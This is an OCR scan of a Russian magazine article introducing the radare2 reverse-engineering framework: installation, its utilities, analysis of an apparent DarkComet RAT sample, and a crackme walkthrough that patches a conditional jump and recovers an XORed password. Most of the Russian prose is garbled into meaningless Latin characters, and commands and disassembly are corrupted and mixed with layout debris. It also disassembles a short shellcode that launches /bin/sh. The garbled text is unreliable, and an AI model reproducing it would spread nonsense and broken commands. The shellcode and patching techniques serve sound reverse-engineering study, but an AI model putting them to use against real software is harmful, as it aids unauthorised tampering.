commit: 4b263dBec7c578b3abl732355711b2294be46b89 build: 2014-07-15
darkair:animals dukebarman$ r2 7eb449a@bedf008bee337c8d55bad2lc

-- Default scripting languages are NodelS and Pythen.
[@éx00432e50]> aa
[0x00432e50]> pdf

Fd 5
I

[@x@@432e5@]> yara scan

e975520000 jmp

Jusr/share/radarez/9.9.8.git/yara/crypto.rules added
/usr/share/radare2/@.9.8.git/yara/packers.rules added

dUP_vZ_x_Patcher
[exee432e50]> [

MepBbIii 3anyck
radare2Ha OS X

WWwW

OduumnanbHbiii cant
npoekTa:
rada.re

OdmumanbHbiii 6nor
npoekTa:
radare.today

KHura no radare2 ot Maijin
(HaxomuTCs B npoLecce
Hanucaxus, No3aTomy no-
CTOSIHHO 06HOBNSETCS):

bit.ly/1t2WphQ

CpaBHeHue ppeiimBopka
C Apyrumu nonynsp-
HbIMU MIHCTPYMEHTaMM
ans pesepcutra — IDA Pro
nHopper:
bit.ly/1yrbsVz

Cnucok Joknafos
no radare2:
bit.ly/1jPu271

Mcnonb3oBaHue radare2
nns aHanuaa BIOS:
bit.ly/10kzD0b

Mpumep aHannsa
BPEAOHOCHOW NPOrpamMmbl
ZeroAccess:
bit.ly/1kHSQy8

Bnaropgapsi ToMy 4TO PenMBOPKOM 3anUHTEPECOBANINCH BU-
pYCHble aHanUTVK1 1 NosSiIBUNAach noaaepxka ytmnutsl yara. Mo-
MUMO NOAAEPXKKM CaMOW YTUNTBI, ObII0 BCTPOEHO MHOMO NPaBuI.
HekoTopble U3 HKX, HanpuMep, NO3BOAAIOT onpeaennTL 6osbluoe
KOSIMYECTBO YNaKOBLUMKOB. Huxe s npuBen Takon npumep as oa-
HOr0 U3 CAMMJIOB BPEAOHOCHOM NPOrpaMMmbi:

[0x0040324d]> yara scan
dUP_v2_x_Patcher
Nullsoft_PiMP_Stub

YCTAHOBKA

Tak kak radare2 He aBnsieTcst Bepcueit 1.0 (Ha MOMEHT HanmncaHus
cratbn oHa 6bina 0.9.8), paspaboTynky COBETYIOT MCMOL30BaATbL
CBOI ppeinmMBOpK: ckayaTb U cobpaTb ero n3 McxoaHnkos ¢ GitHub
(3a04HO BCMOMHMM, Kak paboTaTts ¢ Git):

$ git clone https://github.com/radare/radare2.git

Ecnu xe y Te6s1 UCXOAHMKM Oblnn yXe CkadaHbl, TO HYXHO UxX 06-
HOBUTb CrieayoLen KOMaHO0M:

$ git pull

[na aBToMaTnyecKom KOMNUAALMN MOXELLb BOCMNOJ1b30BaTbCA
BCTPOEHHbIM CKPpUNTOM:

$ sys/install.sh
Ecnu xe oH Bblaan ownbky, To nonpobyii caenarb BPyYHYo:

$ ./configure --prefix=/usr
$ gmake
$ sudo gmake install

Mnn Bmecto gmake ucnonbayii ytunuty make (ana OS X mHe
TaK 1 NPULLNOCh caenatb). A nocne nepesarpysku 1 yBugen onro-
XAaHHOE OKHO (puc. 1).

MoxHO nocTtaBuTb radare2 n3 macports nam 1crnosnb3oBaTb
ytunnty homebrew (Tam Bepcum mHorga oTcTalT.) Ecnm Tbl mc-
nonb3yewsb Kali Linux, coBeTyio yaanuTb BCTPOEHHbIN radare2
1N NOCTaBUTb q)peIZMBODK N3 UCXOOHUKOB, KaK g onucali Bbille.

Ons Windows 6uHapHbIii dain MOXHO CKOMMUIMPOBATL C MOo-
MOLLbIO KaKOM-IMB0 *nix-nnatopmel MM BOCMONL30BATLCS Ka-
KMM-HMBYAb MingW-KOMMUASTOPOM ().

B 2010 rOAY NPOMIOLLEN «PEAOMNSANH» RADARE,

[MOCJIE HEIO MPOEKT CTAJTNONOJIHATHECH HOBBIM
DOYHKUNOHAJIOM, NMO3BOJTAIOLLIIM NCMNOJIBSOBATE ETO
KAK INSACCEMBJIERP, AHAJINSATOP N1 KOLA, N LLUEJUT-KOA0OB
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Android-Bepcusi goctynHa B Google int @x80
Play, npuyem npasa root He TpebytoTca. Tak xor ebx, ebx
Kak C NMoMoLLbio hperiMBopka MOXHO aHa- re2 installer Xor eax, eax
nm3nposatb 1 Java-gainbl (06 3TOM ecTb inc eax
Hemnoxas cTatesi C npumepamun — bit.ly/ This installer will download and install radare2. int ox80
WUnHwW), To nerko no6asunv nogaepxky symlink binaries to xbin (needs root) call ox2
APK-dainnos. Huxe s nokaxy, Kak BbIrmisi- das
[AT UHTepdeiic Nporpammsl (pyc. 2) 1 au- ¥ install r2-unstable (development ver.) bound ebp, [ecx+@x6e]
3accemMbMpoBaHHbIN Koz, das

B omwmune ot Android, Ha iOS- - - jae ©x8c

YCTPOWCTBaxX NPWAOETCS BHa4Yane caenatb
jailbreak, TOnbKO nNocne aTOro NOABUTCH
BO3MOXHOCTb YCTaHOBUTb (DpeinmMBOpkK
[na aToro HyXHo 006aBUTb PENO3UTOPUIA
cydia.radare.org B Cydia.

XOTA B HEKOTOPbLIX CAy4asx MOXHO
obortnce 1 6e3 komnunaumn. bnarogaps
cepsucy Cl (ci.rada.re) ecTb BOBMOXHOCTb
cKaymBaTb yXe CKOMMNUAMPOBaHHble daii-
Jibl NOA, Pa3nyHbIe MNaThOPMbl, B TOM HUC-
ne n pna Windows. Hanpumep, MMeHHO no-

Detected CPU: armeabi-v7a (arm)
Download: unstable/development version
Free space on data partition: 5875Mb
Downloading radare2-android... please wait
Installing radare2... please wait

Testing installation:

$radare2 -v

radare2 0.9.8.git @ linux-little-arm-32 git.0.9.8-rc3-102-
g178464ecommit:
178464ea36717750a351a88bf907c719031ab2b5
build: 2014-07-14

Rabin2 — ytunuta ons paboTbl ¢ pa3ninyHbIMU UCNOMHAEMbIMU
daiinamm (ELF, PE, Java class, Mach-0). icnonbayeTca ans nony-
YeHUs pasnuyHon nHpopmaunm o panne: UMNopPTUPYyeMble GyHK-
LK1, 3KCNOpPTUpPyemMble CMMBOJ1IbI, CEKLIUW, NOAKI0YaeMble 61bnu-
oTeKkun 1 npoyee. PacCMOTpUM camble NONyNsipHbIE AENCTBUS.

1. TMonyvaem nHdpopmaumio 0 dopmarte 1 BKIKOHEHHbIX CUCTEMAxX
3aLUnThI.

root@kali:~/# rabin2- I
9f2520a3056543d49bbo1822d85ce5dd

atomy Android-Bepcusa naget pyka o6 pyky file 9f2520a3056543d49bb0f822d85ce5dd
C OCHOBHOW. type DLL
Tenepb HEMHOrO OCTAHOBMMCS Ha OO- pic false
paboTtke dyHKumoHana. 4Ytobbl OTMEHUTL canary false
CBOV MOAMdMKALMM UCXOOHNKOB, BEPHEM- nx false
Cs1 K HopMasibHOM BEpCUK: crypto false
has_va true
class PE32
Ecnu xe TBOM nopaboTkM, HaobopoT, lang unknown
McnpaBuaM Kakylo-To npobnemy, To MoMMMO 06blMHOrO commit OGHOBNEHNEe arch x86
MOXHO CAenaTb NaTy 1 OTNPaBUTb €ro Pa3paboT4nKy: radare2 HaTenedone bits 32
Android machine i386
$ git diff > radare-foo.patch os windows
subsys Windows GUI
Tenepb paccMoTpyM camy paboTy ¢ GpeliMBOPKOM. endian big
strip false
OB30P YTUJIUT static false
MoMM1MO OCHOBHOW yTUNUTBI radare2 (K Heil Mbl BEPHEMCS MO3Xe), linenum true
paccMoTpuM Habop Nporpamm, BXoaaLwmx B GperiMBOpK, Ha Npu- Bonbluasi 4acTb relocs true
Mepe NPOCTbIX Onepaunii, KOTopble MOryT MPUrOANTLCHA UCCNeno- cnuckanopaepxvea- rpath NONE

Barensm.

Rasm2 — accembnep/am3accembnep ¢peimBopka, BbINon-
HEH KaK OTAENbHOE MPUIOXEHVE U MO3BOJISET AM3acCemMbInpo-
BaTb kak GrHapHbIe, Tak 1 OTAESIbHbIE CTPOKM.

€MbIX N0 YMOJT4aHUIo
2. TMonyyaeM CnMCOK MMMOPTUPYEMbIX DYHKLUMA N U3 Kaknx 6u-
61MOTEK OHU BbI3LIBAIOTCS:

apXuTeKTyp ByTUNnUTE
rasm2

root@kali:~/# rasm2 -a x86 nop 90
root@kali:~/# rasm2 -a x86 -d 'eb0@'
jmp @x2

root@kali: ~/samples

File Edit Search Terminal Help

OO6bI4HBIM NEPEBOLOM OMNKOAOB Tyaa 1 06paTHo, Npasaa, Mano
KOrO YAMBULb, NYCTb U C NOAAEPXKOM 60bLIOro KONMyecTsa ap-
xnTekTyp (puc. 3). 3aTo onncaHne BCex OMNKOLOB HE BCerga ecTb
NOL PYKOIA:

root@kali:~/# rasm2 -w cmpsb

cmp DS:[SI], ES:[edi] (esi++, edi++)
root@kali:~/# rasm2 -w sqrtpd

compute square roots of packed double-fp values

Takxe aT1a yTunmTa MOXeT NOMOYb Npu BbICTPOM aHanu3e Hai-
OEHHbIX Wenn-koaos. MprumMep HEGONbBLLIOrO LWeN-Koaa, KOTOpbI
3anyckaeT /bin/sh, npeaocrtaBneH HUxe:

root@kali:~/# rasm2 -d eb165e31d2525689e189f«
331c0OboBbcde31db31c040cd80e8es 2162696217368
jmp ©x18
pop esi
xor edx,
push edx
push esi
mov_ecx, esp
mov ebx, esi
Xor eax, eax
mov al, @xb

edx

B root@kali: ~/crac... B crackmes

[ root@kali: ~/sam

B samples
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root@kali:~/# rabin2 -i 9f2520a3056543d49bbof822d85ce5dd

ordinal=001 plt=0x00000000 bind=NONE type=FUNC name=WS2_32.DLL_WSAIoctl

ordinal=001 plt=0x00000000 bind=NONE type=FUNC name=SHFolder.dll SHGetFolderPathA
ordinal=001 plt=0x00000000 bind=NONE type=FUNC name=ntdll_NtUnmapViewOfSection
ordinal=001 plt=0x00000000 bind=NONE type=FUNC name=user32.dll_EnumDisplayMonitors
ordinal=002 plt=0x00000000 bind=NONE type=FUNC name=user32.dll_GetMonitorInfoA
ordinal=001 plt=0x00000000 bind=NONE type=FUNC name=SHELL32.DLL_SHEmptyRecycleBinA
ordinal=001 plt=0x00000000 bind=NONE type=FUNC name=AVICAP32.DLL_capGetDriverDescriptionA

600 imports

Thu Jul 31,

root@kali: ~/samples

File Edit View Search Terminal Help

MoacuuTaHHble
XeLuu 415 Bpe LOHOCHOM
nporpammbl DarkComet

-

B root@kali: ~/... @ s root@kali: ~/ ™ crackmes & Crackmes.de B root@kali: ~/. B root@kali: -/

3. Wwem cTpoku 1 rae oHn HaxoasaTes. KTo-To CKaxeT, YTo eMy XBaTaeT yTUAnTbI strings, HO aHHbIV BapuaHT 6onee yMHbIV 1 NokasblBaeT AOMNONHUTENbHYIO MHdOopMa-
LMo, KOTopas HyXKHa Npu aHannae:

root@kali:~/# rabin2 -z 9f2520a3056543d49bb0f822d85ce5dd

addr=0x008c970a off=0x000bcd@a ordinal=441 sz=34 len=16 section=.rsrc type=w string=OriginalFilename
addr=0x008c972c off=0x000bcd2c ordinal=442 sz=24 len=11 section=.rsrc type=w string=MSRSAAP.EXE
addr=0x008c974a off=0x000bcd4a ordinal=443 sz=24 len=11 section=.rsrc type=w string=ProductName
addr=0x008c9764 off=0x000bcd64 ordinal=444 sz=54 len=26 section=.rsrc type=w string=Remote Service Application
addr=0x008c97a2 off=0x000bcda2 ordinal=445 sz=30 len=14 section=.rsrc type=w string=ProductVersion

MOXHO ykasaTb 9TV NapaMeTpbl BMECTE U MOJY4NTb CPasy HyXHY MHGOopMaumio B OanH Rafind2 — ytunuTa ons nomcka kak CTpoK C MOMOLLBIO perynsip-
noTok. A B 61ore npoekTa NpeacTaBneHa CTaThsl, Kak BbITACKMBaTb UCTOIHSIEMbIe daiinbl 3 6u- HbIX BblpaXXeHUN 1 6e3 HUX, Tak U OaHHbIX B LUECTHAALATEPUYHOM
HapHoro ganna. dopmare unu no GUHapHoOMy LaBNoHy.

Rahash2 — ytunuta ons nonyvyeHus xelw-3HaveHuii BO MHOMMX dopmarax kak oT GuHap- Ragg2 — akcnepuvmeHTanbHas yTtuavta s KOMAuasumn
HbIX GanoB, Tak 1 OT ONPEeAENeHHbIX YacTen AaHHbIX. [TpuMep noaydeHus xeLwen ansa ogHom HebOoMbLIMX NporpaMm (Lenn-koaoe ;)) ans x86/x64- n ARM-
13 RAT-mansapwv NnpeacTaBfieH Ha CKPpUHLLIOTE (puc. 4). apxuTekTyp. HepasHo B 6510re npoekTa ony6avkosanm ctatbio (bit.

Radiff2 — ytunuta ona cpaBHeHus GuHapHbIX dainnos. ns 6onee ycnewHon paboTbl co- ly/10MKG8u) c npMmepoM co3aaH1s NOIE3HOM Harpy3Kkn Ha S3blke
BETYIO JOYCTAHOBUTL Nporpammy xdot, ecnu y Tebs ee eLle HeT: C C NOMOLLbIO 3TOW YTUNUTDI.

Rax2 — ytunura ans KoHBepTaumm AaHHbIX B pa3nnyHbix dop-
root@kali:~/# apt-get install xdot mMarax.

MNpeobpasyem hex-aaHHbIE B CTPOKY:
Ota ytunuta paboTtaeT kak yepes xdot, Tak n B koHcosibHom (ASCII) pexxume. MoapobHee o
paboTe radiff2 a1 pacckaxy 1 nokaxy Ha KOHKPETHbIX MPUMepPax B pasaese no peLleHnto crackme root@kali:~/# rax2 -s 43 4a 50
(C Hero HauMHaeTcs crneayowas nonoca). cip
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Rarun2 (rr2) no3sonseT 3anyckarb NporpamMMy ¢ pasinyHbIMU
napameTpamMun cpefbl, aprymeHTamu, npasamu 1 GUpeKkTopusiMu.
3TO npuroanTCs He TOJIbKO ANA peLleHns pasinyHbIX crackme nnn
CTF-3apay, HO 1 nNpu pasd3nHre nam Tectax.

Tenepb nepelinem kK camomy radare2 n pacCMOTPUM OCHOBHbIE
KOMaHAbl Anst paboTbl C HAM Ha NpuMepe HeGobLLIoro crackme.

PA3BUPAEM CRACKME

B kayecTBe npumepa st B35/l NpocToil crackme oT nonb3oBarens
Lord 13 apxuBa caiita crackmes.de (bit.ly/1s8vYbO), a paboTtarb
6ynem B 32-6utHom Kali Linux. 3anyctum 3arpy>eHHsblin daiin:

root@kali:~/crackmes# ./cmleng
Password : dukebarman
root@kali:~/crackmes#

3HauuT, Ham TpebyeTca HalTV NPaBUbHbIA Naposb. Mpuyiem
HEBEPHbIN BapMaHT HMKakK He NoMeyaeTcs, NporpaMmmMa nNpocTo 3a-
BepLuaeTcs. Hy 4To xe, Ana Hayana paccMoTpum cam dain:

root@kali:~/crackmes# rabin2 -I cmleng

root elf

class ELF32

lang C

arch x86

bits 32

machine Intel 80386
os linux

subsys linux

endian little

strip true

Kak Bugum, onuus strip npucytctByeT. HecmoTtps
Ha TO 4TO crackme 3anucaH A HOBUYKOB, aBTOP PELUn Y CO-
BCEM 3azady He obneryatb W yaanun «IULWHIO» MHDOPMALMIO
13 daina. MoaTomy Tenepb 3arpy3nm nporpammy B radare2 1 ysu-
OUM OLLHY U3 BCTPEYAIOLUMXCS ClyYaiHbIxX dpas:

root@kali:~/crackmes# r2 ./cmleng
-- Nothing to see here. Move along.
[0x08048080]>

[Mocne 3anycka Ham HYXHO NpoaHanManpoBaTtb daia ¢ NoMo-
b0 KOMaHApl, Ha4MHatoLelica ¢ a. Kctatu, 4Tobbl yBUOETHL BO3-
MOXHbIE KOMaHZbl, LOCTATOYHO A00ABUTL 3HAK BONPOCa K U3MEHSI-
IOLLLEEMYCS CUMBOJTY, B HALLEM CJly4qae 3To OyneT a?:

[0x08048080]> a?
|Usage: a
| a8 [hexpairs] analyze bytes
aa analyze all (fcns + bbs)

BepHemcs K aHanusy. B dperiMBopke BO3MOXHO NpoaHann-
31poBaTb kak Becb daiin, Tak U OTaeNbHble 610KK1, CTPOKMU 1 Tak
nanee. lMpoaHanuavpyem Becb daiin u, pa3 TpebyeTcs BBECTU
naponb, Nonpobyem ero HakT1 — BO3MOXHO, €ro OCTaBWUIN BLUN-
TbIM B NporpamMmy. Bce-Takm aTOT crackme cHntaeTcs Ha4anbHOro
YPOBHS:

[0x08048080]> aa

[0x08048080]> iz

addr=0x100910f8 off=0x000000f8 ordinal=000
sz=13 len=12 section=.data type=a—
string=\nPassword

addr=0x10091105 off=0x00000105 ordinal=001
sz=33 len=32 section=.data type=a—
string=Great you did it !:)\n\n
addr=0x10091126 off=0x00000126 ordinal=002
sz=8 len=7 section=.data type=a string=QTBXCTU
[0x08048080]>

HebonbLioi HioaHCc B hperiMBOpKe, BCE CTPOKM aBTOMaTtnye-
CKM NPeobpasyoTcst B NEPEMEHHYIO CO CXOXMM MMEHEM:
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Cospgatenu nporpammel noganu 3aseky B Summer of Code ot Google,
HO nony4ynnun oTkas. Noatomy paspaboTumku 3anycTunu kpayadaHamH-

roBylO0 KaMmnaHuio ¢ Lienblo npoeecTn ceoit Summer of Code — Radare
Summer of Code 2014 ( ), O YEM TakXe Hanucanu Ha Xa-
6paxabpe ( )-

[P TTOABOPE MAPOJIH

B CJIYHAE HEBEPHOTO

BBOZA T1POI PAMMA TNPOCTO
ABEPLLIAETCH

Great you did it !:)\n\n ->str.Great_you_did_it n_n

K Takum nepemMeHHbIM MOXHO obpallarbes: @str.Great_you_did_it n_n. Takxe pa-
60TaeT aBTOAOMNOSIHEHME Yepes KaBuLy Tab, 4TO O4eHb YAOBHO NPU MX 6OMLLLOM KONIMYECTBE.
MomMKMO 3TOro, eCTb BO3MOXHOCTb MOMCKA Kak CTPOK, Tak 1 PadnnyHbIx 6aiTOB Yepes koMaHay
/. Tpumep novcka CTPoKu:

[ox08048080]> / Password

Searching 8 bytes from 0x08048000 to 0x0804a0f8: 50 61 73 73 77 6f 72 64
hits: 2

0x080480f9 hit3_@ "Password"

0x080490f9 hit3_1 "Password"

[0x08048080]> px 10 @0x080480f9

- offset - ©1 23 45 67 89 AB CD EF
0x080480f9 5061 7373 776f 7264 203a Password :

©123456789ABCDEF

Ho BepHemcs k Hawel nporpamme. Tak kak oHa HebOoMbLIas, y Hee HET MMMOPTUPYEMbIX
PYHKLNIA, HO €CTb HECKObKO CTPoYeK. OfHY Mbl BUAMM NOCTOSIHHO Npw 3anycke crackme, a BOT
ocTanbHble ABe NPeAcTaBnaloT Ans Hac 60nblioil MHTepec. MepBas NO3BONUT HAWTU MECTO
B KOZE, KOTOPOE BEAET K BEPHOMY PELLEHUIO, & BTOPAs, BO3MOXHO, ABNISIETCS NAPOSIEM.

Monpo6yem BTOPYIO CTPOKY:

root@kali:~/crackmes# ./cmleng
Password : QTBXCTU
root@kali:~/crackmes#

K Moemy 60/bLLIOMY OropyeHuto, 3TO COBCEM HE MapoJsib, HO O4EHb XOYETCS BEPUTb, H4TO ITO
BCE-Taku Ham NPUroanTcs. Y Hac eCTb CTPOKa, KOTOpas TeOPETUHECKN BLIBOAUTCS NPU yAAYHOM
pelueHnn, nonpobyemM peLlmnTb crackme «HeyecTHbIM» o6pa3om — nponarinm dain. Cospa-
oum konuio daina (3a04HO OHa Ham NPUroamMTcst Ans 06eLlaHHOro npuMepa) 1 3arpy3mm ee
B pperiMBOpPK, HO HYeped A0MNONHUTENBHYIO KOMaHAY, KOTopas OTKPOoeT dalin B pexnme 3anucu:

root@kali:~/crackmes# r2 -w ./cmleng_crack
-- Nothing to see here. Move along.

3HamMeHuTLIN xakep @pof, a N0 COBMECTUTENLCTBY OAMH U3 aBTOPOB KHUrM Android
Hacker Handbook v ToT, KTO nogaepxmBaeT android-Bepcuio ppenmBopka, Hanucan
). B HeW oH 06BbACHAET pasHuLy Mexay B3nomoMm RAM-namsatun

cTaTbio (
1 ROM-o6pa3sa Ha npumepe urpbl Super Street Fighter Il Turbo, ncnonb3ys ans peaak-
TnpoBaHusa obpasa radare2.
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[0x08048080]> aa
[0x08048080]> pdf

NMomMumMo KoMaHabl NpoaHannanpoBsatk daiin, godasunack HoBass — pd?. OHa no3sonseT
BbIBECTU HA 3KPaH An3acceMbnnpoBaHHble CTPOKM. B Halem cnyyae — Bcel GyHKUMM, a Tak
Kak dain HebosbLLOK, OHA U ABNSETCS FMaBHON.

BbiBOA, ocywlecTBAsieTcs 0O KOHua yHKuMK. Tak kak Mbl 3amnyckaem C geckrona
TO M NPOKPYTUTb BbIBOA B TEPMUHANIE HE COCTABUT TPyAa, HO MOXHO BbIBECTU TOJbKO Nep-
Bble N cTpoyek ¢ Tekylero agpeca. [10aTomMy Hangem CTPoUKy C MO3UTUBHBIM COOBLLIEHNEM
B 9TOI pyHKUMN. ECNn e Tak He NoJly4aeTcs, TO BOCMNOIb3yeMcs ellle 0AHOM 0COB6EHHOCTbIO
dpenmBopka

MomMnMOo pasnnyHoro BCTPOeHHOro dyHkUMoHana, B radare2 ecTb noaaepxka 3anycka cu-
CTEMHBbIX YTUNINT, NPUMep paboTel C grep:

[0x08048080]> pdf | grep str.Great
| | 0x080480e3 b905910408  mov ecx,«
str.Great_you_did_it n_n ; ©x08049105

BOT Mbl 1 nony4nnn cpasdy HyXHbIA aapec, B KOTOPbI NepefaeTcs Hawa cTpoka. Tak
Kak NpoBepka Napons AoHKHA ObiTb 40 00PALLEHNS K HElM, TO BbiBEAEM CTPOKM A0 Hee. [lns Ha-
Yasia BO3bMeM [eCATb:

[0x08048080]> pd -10 @2x080480e3

| 0x080480c2 02e2 add ah, dl

| 0x080480c4 f1 intl

| ; JMP XREF from 0x080480cl (section..text)

| 0x080480c5 belb910408 mov esi, ©x804911b ; 0x0804911b
| 0x080480ca bf26910408 mov edi, str.QTBXCTU ; 0x08049126
| ox080480cf b907000000 mov ecx, Ox7 ; ©x00000007

| 0x080480d4 fc cld

| 0x080480d5 f3a6 repe cmpsb

| < 0x080480d7 7516 jne 0x80480ef ; (section..text)
|

|

=
| 0x080480d9 b804000000  mov eax, Ox4 ; 0x0000OOA
| 0x080480de bb01000G0G  mov ebx, Ox1

; 0x00000001

[0x08048080]>

BOT Mbl 1 HALWM NPOBEPKY M NMEePexo, HE K HYXXHOM Ham yHK- ®DyHKuMA, KOTO-
uMn no agpecy 0x080480d7. bonee HarNgAHO YacTb KoAa npea- pasinpoeepsieT BBEAEH-
CTaBfieHa Ha CKpuHLoTe (puc. 5). HbIVi KoA B crackme

Thu Jul 31, 15:27

root@kali: “/crackmes

File Edit View Search Terminal Help
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OnvcaHve onepaHga CpaBHEHVS S NPUBOAWA Bbille. Kak Bu-
OMLLb, Kakas-TO CTpOKa (a Kakasi, Kpome BBEAEHHOW, B NPUHLIM-
ne, ewe MOXeT ObITb?) CPaBHNBAETCS C HAWOEHHOW HaMWn paHee,
HO OCTaBMM 3TO NOKa 4To. Hawa 3agaya Tenepb — NponaTynTb Ty
KomaHay nepexona

lMepeipem K Hel 1 NPoBEPUM, NPaBUbHbIN NI aApec ykazanu:

[0x08048080]> s 0x080480d7
[0x080480d7]> pd 7
| ,=< oxe80480d7 7516 jne ox80480ef
5 (section..text)
| |  ©exes8e480d9 b804000000  mov eax, Ox4
5 ©x00000004
| | exese4sede bbo100eERe  mov ebx,Ox1
5 ©x00000001
0x080480e3 b905910408 mov_ecx, «
str.Great_you_did_it n_n ; 0x08049105
0x080480e8 bal60VVOOO mov edx,Ox16
5 0x00000016
| 0x080480ed cd80 int 0x80
| | syscall[ex80][@]=? section_end..shstrtab+91]| |
;IMP_XREF from ©x080480d7 (section..text)
| -> ox080480ef b801000000 mov eax, Ox1
5 ©x00000001

[ox080480d7]>
A BOT 3anatinTb MOXHO pasHbiMK crnocobamu. Huxe npea-
CTaB/eHbl MPVYMePbl ONepaHAoB B LUECTHAAUATEPUYHOM npepn-

CTaB/ieHUn:

[0x080480d7]> !rasm2 -a x86-d'7516"

jne 0x18

[0x080480d7]> !rasm2 -a x86-d'7416'
je ox18

[0x080480d7]> !rasm2 -a x86-d 'ebee’
jmp ©x2

[0x080480d7]> !rasm2 -a x86-d '9090'

nop
nop

. Hawa HenocpencTeeHHas
KomaHpa.

. Crapblii O6PbIV NAaTYNHS:
BMOUM N — yAANsieM, HE BUOUM —
nobasnsiem.

. MpbIKOK Ha «CneayoLLmins
agpec.

. Hy 1 npocTo 3a6uTb Nponycka-
oLmmMumcs Gantamu,

Bo3bmeM TpeTuin BapuaHT 1 Bblli-
[eM ons npoBepKku:

0x080480d7]> wx ebeo
[ex080480d7]> q

Peaynbtar Thl MOXELUb YBUOETb
Ha COOTBETCTBYIOLLEM CKPUHLLOTE
(puc. 6). AyTunnTy rasm2 B 3TOM Ciy-
4Yae MOXHO WCMOSb30BaTb Asi NpPo-
BEPKM NpaBuiibHOCTV BBOJA. KomaH-
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Vie rch Terminal Help

eb

b8a4

bba1
bS05910408
balb

cdse

mov
mowv
mow
mow

root@kali: ~/crackmes

0x00000004

Ox@e000001

cat you did it [k Ak &
Ox00000016

0x08049105

Ox80

syscall[@x80]1[0]=7 ; section_end..shstrtab

b801
cdso

mov

ox1 ;

0x08000001

Bx806

syscall[0xBO][0]=7 ; section end..shstrtab

0a5061

[Ox

Password : dukebarman
Great you did it !:)

9d7]> q
i~fcrackmes# ./cmleng_crack

:~/crackmes# [

Applications Places

File

[Ox

Edit View Search Terminal Help

b804
bbO1
b9Tt89E80408
bald
cdse

syscall[0xBO][0]=? ; section_end.

baboel
b91b510408
bb

b803

cdB8e

syscall[0xBO][0]=? ; section_end.

be26910408
89f7

31db

ihiE

&

a
[ 3421 kor
a

El

43
81fbe7
7402
a2fl

belbS10408
bf26910408
sElch)
e
f3ab
7ASL3)
bB804
slalch
b905913408
balé

cd8a

syscall[0xBO][0]=7 ; section end.

root@kali: ~/sam...

W samples

add [ 15
or o [

+0x61]

Thu Jul 31, 16:19

root@kali: ~/crackmes

Ox4 ;
Bl :
ST
Oxd ;

[cpdclelelelelelcha
0xB000C0061
nPassword 5

Ox00E6086d

0x080490f8

.shstrtab+91

mov , Ox160 ; Ox0CEEE160

mov , OxB04811b ; 0x080848911lb
mov .

mov Gx3 ; Ox00000003
.shstrtab+91

mov , str.QTBXCTU ; 0OxBG8B849126
mov ’

XOor

@]

i

Llodsb

|, Ex21
stosb

alfiijz

4911b ;

@ 0x0804811b
str.QTBXCTU ;

0x08049126

mov , Ox7 ; Gx00000007
@kl
repe
mov , Ox4 ; Ox00000004
mowv , Ox1 ;  Ox0E000001
mov , str.Great_you_did_it n_n ; ©x08049105
mowv , Ox16 ; Ox0EEEE016
.shstrtab+91

™ crackmes @ Crackmes.de - W.

root@kali: ~fcrac...

root@kali: ~/crac. .

YaauHbIi naTYvHr
crackme

HavpeHHas cTpo-
Ka C HY)XHBIM KJTI04YOM

WARNING

Bcs uHdopmaums
npefocTaseHa ucKIo-
YUTEJIbHO B 03HAKOMMU -
TenbHbIX Lensx. Jinua,
MCNOJb3YIOLLME 1AHHYIO

1HGOPMaLMIO B NPOTUBO-
3aKOHHBIX LIeNsIX, MOryT
6bITb NPUBIIEYEHDI K OT-
BETCTBEHHOCTH.
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Fri Aug 1, 14:29
root@kali: ~/crackmes
File Edit View Search
ﬂ,ﬂﬂ ynydeHus yutabenb-
HOCTU An3acceMbaMpoBaH-
HOro Kopa (B YacTHOCTH,
coenartb HenpepbIBHbIE
CTpesikn, nokasbliBawouine
nepexoppl) coseTtyio noba-
BUTb OMUWIO:

e scr.utf8=true

Takne HebonbLuve
KOMaHZbl MOXHO nponucarb
B daiine koHdurypaumm
./radarerc, 4yToObl OHM BbI-

NOJIHANIUCb  aBTOMATUYECKN
npuv 3anycke dpenmeopka.

B root@kali; ~/.. B samples [ root@kali: ~/.. B8 crackmes @ Crackmes.de .. [ root@kali ~/4.. [ root@kali; -/

ﬂOVI w? BMaa wx Tbl MaTyuilb B BUOE LWeCTHaguaTtepmnyHbIx yncen, Bwsyanbublﬁ TaKka Bbl60pKy elle NCnonb3yroT ANd HaXoX4eHNA PasinyHbIX
HO NPV XeNnaHnM MOXHO BBOAWTb M OObIYHBIMW KOMaHAAMW, 3TO nuTepdeiic Bradare2 call-komaHz,. Ho Tenepb nokaxy o6eLLaHHbIi TpuMep UCrnosb30Ba-
6yneT NpUMEepHO Tak: Hus yTunuTel radiff2. Y Hac umetoTcsa ga daiina ¢ Bcero nunilb Of-
HOW OT/INYHON pyHKUMEN. F npeanoymTaio CMOTPeTb cpasy Ha Asa
wa jmp 0x80480d9 daina, To eCTb Ha OAHOM OTANYNS NEPBOrO, HA APYroM — BTOPOrO.
C NOMOLLbIO «MPSIBHOrO» TPIOKa Mbl pewmnu aToT crackme, root@kali:~/crackmes# radiff2 -g main<
HO XOTeslocb Obl pPa3o6paTbCs C HAcTosIWMM naponem. Bcnom- cmleng_crack cmleng > /tmp/cml
HWM, 4YTO HEM3BECTHasA CTPOKa BCe-Taku NPOBEPSAETCA nepen BbIB0A0M No6eaHOro CoobLeHns. root@kali:~/crackmes# radiff2 -g main<
Mpu aHann3e HaxoamMM HeGONbLLOKN LMK, KOTOPbIA 6epeT ceMb cMBONOB 1 XOR'UT 1x C KO- cmleng cmleng_crack > /tmp/cm2
yom 0x21 (puc. 7). root@kali:~/crackmes# xdot /tmp/cml &<
Monpobyem npoBecTy 06paTHYO onepauuio ¢ HallaeHHOW CTPoKon. Halaem ee npencras- xdot/tmp/cm2

JIeHne B KoJe:
KcTtatn, B Takom ¢popmare MOXHO M MPOCTO CMOTPETL darin.

[0x08048080]> px 16 @str.QTBXCTU JocTato4yHo ero CpaBHUTL C CaMuUM COBO:

- offset - ©1 23 45 67 89 AB CD E

F ©123456789ABCDEF«~ root@kali:~/crackmes# radiff2 -g main cmleng
0x08049126 5154 4258 4354 5500 0054 6865 204e cmleng > /tmp/cm & xdot /tmp/cm

6574 QTBXCTU..The Net
MHe _6b|no ObiCTpee HaiaeHHble hex-3HayeHua 3arpysuTb
sl O (OB HAA [1PV1HVIHA
XOR ansa kaxmoro cuMeosna: <
HEBOJIbLLOV MONMYJIAPHOCT
[0x08048080]> ? 51h”21h o
ii;gxééegéggellle 0000:0070 112 "p" ©1110000 RADAR E2 . OTcyTCTB |/] E
i . ) »
pndqetninrerii st [ P\ D|1HECKOTIO VIHTEPDEVICA

Ha 6yayuiee coseTtyto Tebe cpady mckarb HeobbldHbie XOR-

KOMaHbI.
